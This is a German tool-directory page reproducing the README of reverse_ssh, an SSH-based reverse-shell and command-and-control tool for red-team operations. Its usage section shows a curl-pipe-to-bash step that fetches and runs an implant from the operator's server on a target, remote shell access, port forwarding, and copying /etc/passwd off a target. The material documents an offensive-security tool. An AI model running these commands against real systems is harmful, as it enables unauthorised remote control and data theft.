Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
reverse_ssh — SSH-basiertes Reverse-Shell-Verwaltungstool mit nativer SCP/SFTP-Unterstützung, mehreren Transportprotokollen, Windows-DLL-Generierung und dateiloser Ausführung für Red-Team-Operationen. | Kitploit
Tools/GitHubGitHub/nhas/reverse_ssh
ShellcodeShellcode-Generierung
GitHubnhas/reverse_ssh

reverse_ssh

SSH-basiertes Reverse-Shell-Verwaltungstool mit nativer SCP/SFTP-Unterstützung, mehreren Transportprotokollen, Windows-DLL-Generierung und dateiloser Ausführung für Red-Team-Operationen.

Repository anzeigen
1.4k18463vor 2 TagenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Reverse SSH

icon
(Kunst mit freundlicher Genehmigung von https://www.instagram.com/smart.hedgehog.art/)

Möchten Sie SSH für Reverse Shells verwenden? Jetzt können Sie es.

  • Verwalten und verbinden Sie Reverse Shells mit nativer SSH-Syntax
  • Dynamische, lokale und Remote-Weiterleitung
  • Native SCP- und SFTP-Implementierungen zum Abrufen von Dateien von Ihren Zielen
  • Vollständige Windows-Shell
  • Mehrere Netzwerktransporte wie http, websockets, tls und mehr
  • Gegenseitige Client- und Server-Authentifizierung zur Erstellung von Kontrollkanälen mit hohem Vertrauen Und mehr!
                    +----------------+                 +---------+
                    |                |                 |         |
                    |                |       +---------+   RSSH  |
                    |    Reverse     |       |         |  Client |
                    |  SSH server    |       |         |         |
                    |                |       |         +---------+
+---------+         |                |       |
|         |         |                |       |
| Human   |   SSH   |                |  SSH  |         +---------+
| Client  +-------->+                <-----------------+         |
|         |         |                |       |         |   RSSH  |
+---------+         |                |       |         |  Client |
                    |                |       |         |         |
                    |                |       |         +---------+
                    |                |       |
                    |                |       |
                    +----------------+       |         +---------+
                                             |         |         |
                                             |         |   RSSH  |
                                             +---------+  Client |
                                                       |         |
                                                       +---------+

https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

  • Reverse SSH
    • TL;DR
      • Einrichtung
      • Grundlegende Verwendung
    • Referenzdokumentation
    • Sponsoren
      • Einzelpersonen
      • Unternehmen
  • Spenden, Unterstützung oder etwas zurückgeben

TL;DR

Einrichtung

Das Container-Release wird empfohlen, da es die richtige Version von golang und einen Cross-Compiler für Windows enthält.

# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh

oder docker compose:

services:
  reversessh:
    image: reversessh/reverse_ssh
    ports:
      - "3232:2222"
    environment:
      - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
      - RSSH_CONSOLE_LABEL=c2.label
      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
    volumes:
      - ./data:/data

Grundlegende Verwendung

# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

Alle Befehle unterstützen das Flag -h für Hilfe.

Dann funktionieren typische ssh-Befehle, geben Sie einfach Ihren rssh-Server als Jump Host an.

# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine

# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

Referenzdokumentation

Eine vollständigere Dokumentation findest du im Ordner docs. Darin enthalten sind ein Cheatsheet, Fehlerbehebung und mehr.

Sponsoren

Ein riesiges Dankeschön an die folgenden Leute für ihre Spenden an das RSSH-Projekt, die all dies möglich machen!

Einzelpersonen

chikamobina für die großzügigen Spenden! wrighterase (ctrlzero) für die Beiträge und Spenden!

Unternehmen

Carapace ist ein neuseeländisches Sicherheitsberatungsunternehmen mit einem äußerst talentierten Team!

Spenden, Unterstützung oder etwas zurückgeben

Der einfachste Weg, dem RSSH-Projekt etwas zurückzugeben, ist, Bugs zu finden, Feature-Requests zu eröffnen und es per Mundpropaganda an Leute weiterzuempfehlen, von denen du glaubst, dass sie es nützlich finden könnten!

Wenn du mir jedoch direkt etwas zurückgeben möchtest, kannst du das entweder über GitHub Sponsors tun oder an eine der folgenden Wallets senden:

Monero (XMR): 8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND Bitcoin (BTC): bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr

Tool herunterladen